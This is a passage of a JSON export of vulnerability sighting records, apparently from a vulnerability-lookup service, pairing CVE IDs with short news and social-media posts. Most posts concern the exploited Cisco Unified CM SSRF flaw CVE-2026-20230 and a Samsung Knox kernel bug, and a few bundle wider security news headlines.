Exter...\n\nhttps://www.thehackerwire.com/vulnerability/CVE-2026-20301/\n\n#infosec #cybersecurity #CVE #vulnerability #security #patchstack", "creation_timestamp": "2026-08-06T08:01:13.870372Z"}, {"uuid": "77e8ad64-4da4-47f7-8d18-ee725b889538", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20337", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3msq6vaybd72j", "content": "\ud83d\udd17 CVE : CVE-2025-8088, CVE-2026-20337, CVE-2026-20338, CVE-2026-20339, CVE-2026-20345, CVE-2026-20346, CVE-2026-20347, CVE-2026-20348", "creation_timestamp": "2026-08-10T13:20:06.827478Z"}, {"uuid": "efdd4cf5-77ae-4d29-bee5-afca1355c9ef", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20338", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3msq6vaybd72j", "content": "\ud83d\udd17 CVE : CVE-2025-8088, CVE-2026-20337, CVE-2026-20338, CVE-2026-20339, CVE-2026-20345, CVE-2026-20346, CVE-2026-20347, CVE-2026-20348", "creation_timestamp": "2026-08-10T13:20:06.894066Z"}, {"uuid": "203d960e-ab0d-4844-8251-a05302b103f6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20339", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3msq6vaybd72j", "content": "\ud83d\udd17 CVE : CVE-2025-8088, CVE-2026-20337, CVE-2026-20338, CVE-2026-20339, CVE-2026-20345, CVE-2026-20346, CVE-2026-20347, CVE-2026-20348", "creation_timestamp": "2026-08-10T13:20:06.947243Z"}, {"uuid": "86b4f206-1378-4b8c-b7f6-e49876f3477b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20345", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3msq6vaybd72j", "content": "\ud83d\udd17 CVE : CVE-2025-8088, CVE-2026-20337, CVE-2026-20338, CVE-2026-20339, CVE-2026-20345, CVE-2026-20346, CVE-2026-20347, CVE-2026-20348", "creation_timestamp": "2026-08-10T13:20:07.015547Z"}, {"uuid": "43146be2-e681-49ec-b8fd-c21ae4e1c586", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20346", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3msq6vaybd72j", "content": "\ud83d\udd17 CVE : CVE-2025-8088, CVE-2026-20337, CVE-2026-20338, CVE-2026-20339, CVE-2026-20345, CVE-2026-20346, CVE-2026-20347, CVE-2026-20348", "creation_timestamp": "2026-08-10T13:20:07.069588Z"}, {"uuid": "445ad00d-9a06-4ba8-926c-e4d557b27527", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20347", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3msq6vaybd72j", "content": "\ud83d\udd17 CVE : CVE-2025-8088, CVE-2026-20337, CVE-2026-20338, CVE-2026-20339, CVE-2026-20345, CVE-2026-20346, CVE-2026-20347, CVE-2026-20348", "creation_timestamp": "2026-08-10T13:20:07.129869Z"}, {"uuid": "cd102a5b-42bc-4eec-a562-40f076eb64c5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20348", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3msq6vaybd72j", "content": "\ud83d\udd17 CVE : CVE-2025-8088, CVE-2026-20337, CVE-2026-20338, CVE-2026-20339, CVE-2026-20345, CVE-2026-20346, CVE-2026-20347, CVE-2026-20348", "creation_timestamp": "2026-08-10T13:20:07.179521Z"}, {"uuid": "7cf3718e-2d78-42ea-8e5a-9268914e4c58", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20269", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mswwg4fs3w2u", "content": "\ud83d\udccc CVE-2026-20269 - As part of Cisco's ongoing commitment to proactive security and product quality, the Cisco IOS XE Software engineering team has conducted a comprehens... https://www.cyberhub.blog/cves/CVE-2026-20269", "creation_timestamp": "2026-08-13T05:37:07.163938Z"}, {"uuid": "446838c2-cd14-4e3d-99f6-5ac6eb108e0e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-20971", "type": "seen", "source": "https://bsky.app/profile/thecybersecguru.com/post/3moxqiibfsp2u", "content": "Eight-year-old Samsung Knox flaw exposed Galaxy devices to kernel\u00a0attacks\n\nSamsung patched CVE-2026-20971, a long-running Knox PROCA use-after-free flaw that affected Galaxy devices and could lead to kernel\u2026\n\nhttps://thecybersecguru.com/news/samsung-knox-cve-2026-20971-galaxy-kernel-vulnerability/", "creation_timestamp": "2026-06-23T15:42:57.640097Z"}, {"uuid": "dee825a7-896b-4c5e-b7be-30a347dc698f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20971", "type": "seen", "source": "https://bsky.app/profile/packetstorm.bsky.social/post/3moy2a5mcm623", "content": "When Defenses Become Attack Surface: CVE-2026-20971, a Samsung Kernel UAF https://packetstorm.news/news/view/42105 #news", "creation_timestamp": "2026-06-23T18:37:14.950031Z"}, {"uuid": "2c4f97ec-7a8b-464b-8ae6-9b43b0a67448", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20253", "type": "seen", "source": "https://bsky.app/profile/lasenal.bsky.social/post/3moxrvu2x3c2t", "content": "Splunk parcha una falla cr\u00edtica en Enterprise.\n\nCVE-2026-20253 (CVSS 9.8): un endpoint del sidecar PostgreSQL sin autenticaci\u00f3n dejaba crear o truncar archivos en remoto. Ya se explota. Corregido en 10.0.7, 10.2.4 y 10.4.0.\n\nLeer en Splunk \u2192\n\n#LaSe\u00f1alNews #Ciberseguridad #InfoSec", "creation_timestamp": "2026-06-23T16:08:20.594362Z"}, {"uuid": "541848b7-a90d-4ba8-9b97-b0146a58f314", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20971", "type": "seen", "source": "https://bsky.app/profile/hendryadrian.bsky.social/post/3moxty74d2s2e", "content": "Eight-year-old CVE-2026-20971 in Samsung KNOX exposed Galaxy S9-S25 devices to kernel attacks via PROCA and FIVE. Samsung patched it in January 2026. #Samsung #KNOX #Galaxy", "creation_timestamp": "2026-06-23T16:45:26.408209Z"}, {"uuid": "3a9f1fe6-339c-4059-b59a-a4cd2a405d78", "vulnerability_lookup_origin": "caeb2787-0d58-4236-9039-7c86c3e566f3", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20230", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/9a30df14-176b-450a-845b-42cd2768d79d", "content": "", "creation_timestamp": "2026-06-23T23:00:21.203946Z"}, {"uuid": "4854122c-2740-429c-a922-8556048031c5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20230", "type": "seen", "source": "https://bsky.app/profile/bleepingcomputer.com/post/3moyewp7nhj2v", "content": "A high-severity SSRF vulnerability, tracked as CVE-2026-20230, in Cisco Unified Communications Manager Server is now being exploited in attacks.", "creation_timestamp": "2026-06-23T21:48:49.216058Z"}, {"uuid": "10460dee-e82f-44c2-adb9-fce6ad4b802c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20230", "type": "seen", "source": "https://bsky.app/profile/undercodenews.bsky.social/post/3moyfvy23642d", "content": "Cisco Unified CM Under Fire: Critical CVE-2026-20230 Vulnerability Actively Exploited as Attackers Hunt for Root Access +\u00a0Video\n\nIntroduction: A Dangerous Shift From Disclosure to Active Exploitation Cybersecurity threats often follow a predictable lifecycle. A vulnerability is discovered, a patch\u2026", "creation_timestamp": "2026-06-23T22:06:21.709610Z"}, {"uuid": "6f3621c5-6df5-412a-967f-28ea59c3c63b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20230", "type": "seen", "source": "https://bsky.app/profile/postac001.bsky.social/post/3moygchpn732d", "content": "Cisco Unified Communications Manager Server\u3067\u3001CVE-2026-20230\uff08SSRF\u8106\u5f31\u6027\uff09\u304c\u60aa\u7528\u3055\u308c\u3066\u3044\u307e\u3059\u3002", "creation_timestamp": "2026-06-23T22:13:18.393992Z"}, {"uuid": "e3e8e49c-4454-486a-b930-2c943b975d3b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-20230", "type": "seen", "source": "https://bsky.app/profile/thecircuitry.to/post/3moygf64tfe2p", "content": "Cisco Unified CM servers are now seeing live exploitation of a high-severity SSRF flaw.\nThe PoC writes one specific test file but full root details just dropped.\n\nRead the full report: https://thecircuitry.to/article/attackers-exploit-cisco-unified-cm-cve-2026-20230-in-the-wild-mqr6yztb", "creation_timestamp": "2026-06-23T22:14:48.252124Z"}, {"uuid": "a5be4a14-39ca-45eb-b73d-f0fdbd9e1dd0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20230", "type": "seen", "source": "https://bsky.app/profile/2rZiKKbOU3nTafniR2qMMSE0gwZ.activitypub.awakari.com.ap.brid.gy/post/3moyifcppbvm2", "content": "Cisco Unified CM SME flaw CVE-2026-20230 now exploited in attacks BleepingComputer A high-severity SSRF vulnerability, tracked as CVE-2026-20230, in Cisco Unified Communications Manager Server is n...\n\n#Security #News\n\nOrigin | Interest | Match", "creation_timestamp": "2026-06-23T22:50:45.681238Z"}, {"uuid": "f29fa772-e641-43d6-bdda-0cb97d4d8dba", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20971", "type": "seen", "source": "https://bsky.app/profile/informapirata.mastodon.uno.ap.brid.gy/post/3moyjbf6f64n2", "content": "La vulnerabilit\u00e0 UAF del kernel KNOX di Samsung espone milioni di dispositivi Galaxy.\n\nLa vulnerabilit\u00e0 KNOX di Samsung (CVE-2026-20971) \u00e8 una UAF del kernel in PROCA/FIVE che pu\u00f2 consentire la corruzione dei dati tramite una condizione di gara; Samsung l'ha corretta nel gennaio 2026 [\u2026]", "creation_timestamp": "2026-06-23T23:06:24.978866Z"}, {"uuid": "005d97d1-8a46-45dd-8fca-eded6375edb8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20971", "type": "seen", "source": "https://bsky.app/profile/Android.activitypub.awakari.com.ap.brid.gy/post/3moyjevh4hey2", "content": "Samsung KNOX Kernel UAF Exposes Millions of Galaxy Devices Samsung\u2019s KNOX flaw (CVE-2026-20971) is a kernel UAF in PROCA/FIVE that can enable corruption via a race; Samsung patched it in Jan 2026...\n\n#Breaking #News #Hacking #Security #CVE-2026-20971 #hacking #news #information #security #news [\u2026]", "creation_timestamp": "2026-06-23T23:08:45.652205Z"}, {"uuid": "f2f42c4f-ad6b-499d-bd5d-6d131c40310c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-20230", "type": "seen", "source": "https://bsky.app/profile/newssecia.bsky.social/post/3moyjyfpgjb2u", "content": "\ud83e\udd16 CVE-2026-20230 (CVSS 8.6): SSRF in Cisco Unified CM exploited in wild. Allows access to internal systems. No patch \u2014 CISA KEV added.\n\nhttps://www.bleepingcomputer.com/news/security/cisco-unified-cm-sme-flaw-cve-2026-20230-now-exploited-in-attacks/", "creation_timestamp": "2026-06-23T23:19:14.934459Z"}, {"uuid": "9ded9d00-cbd4-4c32-84c8-cbd126354073", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20230", "type": "seen", "source": "https://bsky.app/profile/happeningnow.news/post/3moykwp5uvl2g", "content": "\ud83d\udea8 Breaking: Cisco Unified CM flaw CVE-2026-20230 now exploited in attacks\nA high-severity SSRF vulnerability, tracked as CVE-2026-20230, in Cisco Unified Communications Manager Server is now being exploited in attacks. [...]\n\n\ud83d\udd17 https://hnow.live/a/d57975cb", "creation_timestamp": "2026-06-23T23:36:11.447850Z"}, {"uuid": "98a6b540-eb08-45d2-9ee2-229c1bcab632", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20270", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mswy3qm3ts23", "content": "\ud83d\udccc CVE-2026-20270 - As part of Cisco's ongoing commitment to proactive security and product quality, the Cisco IOS XE Software engineering team has conducted a comprehens... https://www.cyberhub.blog/cves/CVE-2026-20270", "creation_timestamp": "2026-08-13T06:07:06.415920Z"}, {"uuid": "ed337679-5faa-4c7c-a582-846769381aa7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20230", "type": "seen", "source": "https://bsky.app/profile/undercodenews.bsky.social/post/3mozjzedpm52p", "content": "CRITICAL CISCO SSRF FLAW (CVE-2026-20230): ROOT-LEVEL TAKEOVER THREATENS ENTERPRISE COMMUNICATION SYSTEMS\u00a0WORLDWIDE\n\nIntroduction: When Enterprise Communication Becomes an Attack Gateway A newly disclosed vulnerability in Cisco\u2019s Unified Communications Manager has raised serious alarms across\u2026", "creation_timestamp": "2026-06-24T08:52:27.551571Z"}, {"uuid": "4ece8289-b6f2-4647-a63c-bfe273f159c1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20230", "type": "seen", "source": "https://bsky.app/profile/tugate.ch/post/3mozd2atp732r", "content": "Falha cr\u00edtica CVE-2026-20230 na Cisco j\u00e1 \u00e9 explorada globalmente. Admins em Portugal devem actualizar urgentemente os sistemas afectados \u26a0\ufe0f \n\n#falha ", "creation_timestamp": "2026-06-24T06:47:40.843771Z"}, {"uuid": "1eabb564-dd0a-43b8-aee1-8ed19222e805", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20230", "type": "seen", "source": "https://bsky.app/profile/2rZiKKbOU3nTafniR2qMMSE0gwZ.activitypub.awakari.com.ap.brid.gy/post/3mozfae4etov2", "content": "Hackers Exploiting Cisco Unified CM Vulnerability Cisco noted that a PoC had been available for CVE-2026-20230 when it announced patches in early June. The post Hackers Exploiting Cisco Unified CM ...\n\n#Network #Security #Vulnerabilities #Cisco #exploited [\u2026] \n\n[Original post on securityweek.com]", "creation_timestamp": "2026-06-24T07:26:58.243627Z"}, {"uuid": "260d2024-4617-4519-8021-2c15e8a3cc90", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20230", "type": "seen", "source": "https://bsky.app/profile/2rZiKKbOU3nTafniR2qMMSE0gwZ.activitypub.awakari.com.ap.brid.gy/post/3mozgi437w5v2", "content": "Cisco Unified CM Flaw Exploited After PoC Reveals File-Write Path to Root TheHackerNews Cisco Unified CM CVE-2026-20230 is under active exploitation, allowing file writes on WebDialer-enabled syste...\n\n#Security #News\n\nOrigin | Interest | Match", "creation_timestamp": "2026-06-24T07:49:29.564301Z"}, {"uuid": "434bc29b-2441-4756-89e8-8ca73aa50f6f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20230", "type": "seen", "source": "https://bsky.app/profile/sec-news-bot.bsky.social/post/3mozh65hfc22x", "content": "Cisco Unified CM CVE-2026-20230 \u304c\u60aa\u7528\u3055\u308c\u308b \u2014 \u30d5\u30a1\u30a4\u30eb\u66f8\u304d\u8fbc\u307f\u3067 root \u6a29\u9650\u7372\u5f97\n\nWebDialer \u6709\u52b9\u6642\u306e Cisco Unified CM \u3067 CVE-2026-20230 \u304c\u5b9f\u969b\u306b\u60aa\u7528\u3055\u308c\u3066\u3044\u308b\u3002PoC \u516c\u958b\u5f8c\u3001\u30d5\u30a1\u30a4\u30eb\u66f8\u304d\u8fbc\u307f\u3092\u7d4c\u7531\u3057\u305f root \u6a29\u9650\u7372\u5f97\u304c\u53ef\u80fd\u306b\u306a\u3063\u305f\u3002\u5bfe\u8c61\u7d44\u7e54\u306f\u7dca\u6025\u5bfe\u5fdc\u304c\u5fc5\u8981\u3002\n\n#CVE #\u8106\u5f31\u6027 #\u6a19\u7684\u578b\u653b\u6483", "creation_timestamp": "2026-06-24T08:01:26.479442Z"}, {"uuid": "62ce1d2e-6bfe-4ea1-8d95-59b38d0c9a76", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20230", "type": "seen", "source": "https://bsky.app/profile/infosecbriefly.bsky.social/post/3mozhfac4lm25", "content": "CVE-2026-20230 enables unauthenticated remote SSRF via crafted HTTP requests against Cisco Unified CM and Unified CM SME, potentially leading to file writes and root escalation.\n", "creation_timestamp": "2026-06-24T08:05:24.555866Z"}, {"uuid": "d4ff0c00-8b80-4e62-b5f5-49b4ce7782e5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20230", "type": "seen", "source": "https://bsky.app/profile/suriq.io/post/3mozhsneg4y2u", "content": "\ud83d\udd34 EXPLOITED\n\nCisco Unified CM can be exploited to root.\n\nBut only if WebDialer is on, and it ships off by default. Check before you panic-patch.\n\nThe \"active exploitation\" so far is one source dropping a test file. (CVE-2026-20230)", "creation_timestamp": "2026-06-24T08:12:54.302352Z"}, {"uuid": "d4e83f53-ff4d-49f8-9f81-932bb1b0151e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20230", "type": "seen", "source": "https://bsky.app/profile/undercode.bsky.social/post/3mozi54m2vc2u", "content": "Cisco Unified CM Under Active Attack: CVE-2026-20230 SSRF Exploit PoC Public \u2014 Patch Now or Get Rooted +\u00a0Video\n\nIntroduction: A critical server-side request forgery (SSRF) vulnerability in Cisco Unified Communications Manager (Unified CM) and Unified CM Session Management Edition (SME) is currently\u2026", "creation_timestamp": "2026-06-24T08:18:45.920649Z"}, {"uuid": "d56cf3d5-33aa-4101-9b1a-bcefcc9c4ef5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20230", "type": "seen", "source": "https://bsky.app/profile/hendryadrian.bsky.social/post/3moznsubvfr2f", "content": "Cisco Unified CM CVE-2026-20230 is being actively exploited with a PoC, enabling SSRF, arbitrary file writes, and possible root escalation. Defused observed attacks and SSD published details. #Cisco #UnifiedCM #CVE202620230", "creation_timestamp": "2026-06-24T10:00:24.904218Z"}, {"uuid": "5ce66d0e-bf50-4cb1-9a02-e655fa5984d3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20230", "type": "seen", "source": "https://thehackernews.com/2026/06/cisco-unified-cm-flaw-exploited-after.html", "content": "Threat actors have begun to exploit a recently disclosed critical security flaw impacting Cisco Unified Communications Manager (Unified CM) and Unified Communications Manager Session Management Edition (Unified CM SME).\n\nThe vulnerability, tracked as CVE-2026-20230 (CVSS score: 8.6), is a case of improper input validation for specific HTTP requests that could allow an unauthenticated, remote", "creation_timestamp": "2026-06-24T04:50:38.000000Z"}, {"uuid": "35869fe8-a17a-450f-a0e7-8f851a568ffe", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20230", "type": "seen", "source": "https://bsky.app/profile/crustytldr.bsky.social/post/3mozny3rloh2o", "content": "\ud83d\udd12 Same-Day Shells: A Full-Chain RCE Sweep Against Cisco CUCM (CVE-2026-20230)\n\nA critical Cisco CUCM WebDialer vulnerability (CVE-2026-20230) was rapidly weaponized for full remote ...\n\nhttps://tinyurl.com/24h2pv9j #CyberSecurity #InfoSec #CrustyTLDR", "creation_timestamp": "2026-06-24T10:03:19.031122Z"}, {"uuid": "68ae77c8-382d-4bb4-afff-630845e4c38c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20971", "type": "seen", "source": "https://bsky.app/profile/r-netsec.bsky.social/post/3mozte5vlcb2l", "content": "CVE-2026-20971: Samsung Android kernel UAF affecting Galaxy S9-S25", "creation_timestamp": "2026-06-24T11:39:32.891636Z"}, {"uuid": "60963919-8b3d-4a9e-a9e9-33d8f8ad8a3d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20230", "type": "seen", "source": "https://bsky.app/profile/helpnetsecurity.com/post/3mozti7n5cs2p", "content": "Cisco Unified CM flaw actively exploited to drop webshells (CVE-2026-20230)\n\n\ud83d\udcd6 Read more: www.helpnetsecurity.com/2026/06/24/c...\n\n#communication #enterprise #PoC #vulnerability #cybersecurity #cybersecuritynews @cisco.com", "creation_timestamp": "2026-06-24T11:41:52.505426Z"}, {"uuid": "3159fdd0-559a-4920-a099-2fea96b70d74", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20971", "type": "seen", "source": "https://infosec.exchange/users/edwardk/statuses/116804930613951549", "content": "Eight-Year-Old Samsung KNOX Flaw Exposed Millions of Galaxy Devices to Kernel AttacksSource URL: https://www.securityweek.com/eight-year-old-samsung-knox-flaw-exposed-millions-of-galaxy-devices-to-kernel-attacks/Researchers disclosed a high-severity use-after-free (UAF) race condition flaw (CVE-2026-20971, CVSS 7.8) affecting Samsung Galaxy S9 through S25 devices. The bug resides in the interaction between the kernel's process authenticator (PROCA) and its integrity subsystem (FIVE), leaving a tiny preemption window open during child process spawning that attackers can exploit to compromise the kernel.Mythos Discovers 'Squidbleed,' a Memory Leak That's Gone Undetected Since Clinton EraSource URL: https://www.theregister.com/security/2026/06/23/mythos-discovers-squidbleed-a-memory-leak-thats-gone-undetected-since-clinton-era/A 29-year-old vulnerability dubbed \"Squidbleed\" (CVE-2026-47729) was discovered in the popular open-source caching proxy server Squid using Anthropic's Claude Mythos Preview AI. The flaw silently leaks users' plaintext HTTP requests, credentials, and session tokens, posing significant data exposure risks across enterprise networks and older legacy environments. It was resolved in version 7.6.FortiBleed-kyberhy\u00f6kk\u00e4yskampanjan vaikutukset n\u00e4kyv\u00e4t my\u00f6s SuomessaSource URL: https://www.kyberturvallisuuskeskus.fi/fi/uutiset/fortibleed-kyberhyokkayskampanjan-vaikutukset-nakyvat-myos-suomessaThe global FortiBleed cyberattack campaign heavily impacts Fortinet FortiGate firewalls and SSL-VPN appliances using previously leaked or stolen credentials. The Finnish National Cyber Security Centre (Kyberturvallisuuskeskus) has begun mapping targeted organizations across Finland and releasing remediation guidelines to counter ongoing unauthorized access attempts.CVE-2024-40766: The Patch Fixed the Bug. Nobody Fixed the Configuration.Source URL: https://isc.sans.edu/diary/rss/33094Despite a 2024 patch for an improper access control flaw (CVE-2024-40766, CVSS 9.3) impacting SonicWall Gen 5, 6, and 7 firewalls, ransomware operators continue to successfully compromise networks due to unmanaged configurations. The vulnerability targets the management interface and SSLVPN services, allowing threat actors to drop entire networks or gain complete device control.New macOS ClickFix Attack Silently Mounts DMGs to Push InfostealerSource URL: https://www.bleepingcomputer.com/news/security/new-macos-clickfix-attack-silently-mounts-dmgs-to-push-infostealer/A novel macOS ClickFix social engineering campaign tricks users into running malicious Terminal commands via fake CAPTCHA verification prompts. Upon execution, the script uses the native hdiutil utility to silently download, mount, and execute a disk image (DMG) bundle containing the Atomic macOS Stealer (AMOS), harvesting browser credentials, system Keychains, and crypto wallet data.'Cordyceps': Mushrooming Malicious Pull Requests Threaten Developer WorkflowsSource URL: https://www.darkreading.com/application-security/cordyceps-malicious-pull-requests-developer-workflowsDubbed \"Cordyceps,\" a newly identified architectural weakness within automated CI/CD pipelines allows malicious pull requests to compromise software supply chains. By exploiting overly permissive access controls in automated pre-merge testing workflows, attackers can execute command injection to hijack highly privileged signing keys and access tokens.The Global Namespace Risk: Universal Bucket Hijacking Technique for Cloud Data ExfiltrationSource URL: https://unit42.paloaltonetworks.com/cloud-bucket-hijacking-risks/Palo Alto Networks Unit 42 uncovered a structural flaw across AWS, Google Cloud, and Microsoft Azure involving global namespace collision. Attackers can silently hijack an organization's active cloud data streams by anticipating, deleting, and immediately recreating targeted storage buckets under their own control, leaving minimal detection signatures during data exfiltration.LastPass Confirms Data Breach in Klue Supply Chain AttackSource URL: https://www.bleepingcomputer.com/news/security/lastpass-confirms-data-breach-in-klue-supply-chain-attack/LastPass suffered a security breach impacting its corporate Salesforce environment after threat actors stole OAuth tokens from Klue, a third-party market intelligence platform. While customer password vaults and internal core infrastructure remain fully isolated and untouched, the attackers successfully extracted internal corporate CRM data, customer names, and support log information.Tata Electronics Confirms Cyberattack After Alleged Apple, Tesla Documents Appear OnlineSource URL: https://therecord.media/tata-electronics-confirms-cyberattackIndian manufacturing giant Tata Electronics confirmed a recent network breach following claims by extortion group \"World Leaks,\" who published stolen documents allegedly detailing proprietary client data from Apple and Tesla. Tata maintains that the incident was isolated, successfully contained, and has caused zero operational downtime.Payouts King Ransomware Initial Access Broker Deploys New Edgecution MalwareSource URL: https://www.zscaler.com/blogs/security-research/payouts-king-ransomware-initial-access-broker-deploys-new-edgecutionZscaler ThreatLabz isolated a stealthy delivery mechanism dubbed \"Edgecution,\" deployed by initial access brokers linked to the Payouts King ransomware family. The attack abuses a malicious Microsoft Edge browser extension that manipulates the Chrome native messaging protocol to bypass browser sandboxing entirely, triggering arbitrary local file system modification and execution.AI Models Capable of Launching Major Cyberattacks Months Away, Five Eyes Alliance WarnsSource URL: https://www.cybersecuritydive.com/news/ai-cyberattacks-five-eyes-frontier-models-warning/An international intelligence coalition comprising the United States, United Kingdom, Canada, Australia, and New Zealand issued a joint advisory warning that advanced frontier AI models are rapidly collapsing offensive cyber timelines. The group cautioned corporate boards and infrastructure operators that AI-driven exploitation capabilities will outpace standard enterprise defenses in a matter of months rather than years, vastly lowering technical barriers for automated network intrusions.14 Million Email Accounts Exposed in Cyberattack on Japanese Telecom Giant KDDISource URL: https://www.nippon.com/en/news/yjj2026062301023/Japanese telecommunications provider KDDI Corp. disclosed a massive data breach targeting its email infrastructure utilized by several domestic internet service providers. The cyberattack, which exploited zero-day vulnerabilities in a third-party software component embedded in the email system, has potentially exposed up to 14.22 million user email addresses and encrypted passwords across major partner networks including JCOM, Biglobe, and Nifty.Active Exploitation of Cisco Unified Communications Manager Flaw Triggers Root-Level RiskSource URL: https://thehackernews.com/2026/06/23/attackers-exploit-cisco-unified-cm-flaw-weeks-after-patch-release/Threat intelligence teams detected active, in-the-wild exploitation of a critical server-side request forgery (SSRF) flaw in Cisco's Unified Communications Manager and Session Management Edition. Tracked as CVE-2026-20230 (CVSS 8.6), the bug allows unauthenticated, remote attackers to send crafted HTTP requests to the WebDialer service, enabling them to write arbitrary files directly to the underlying operating system and escalate privileges to root.", "creation_timestamp": "2026-06-24T11:49:58.257006Z"}, {"uuid": "f5f9f139-60a1-49de-86fb-62ac60b5cb35", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", 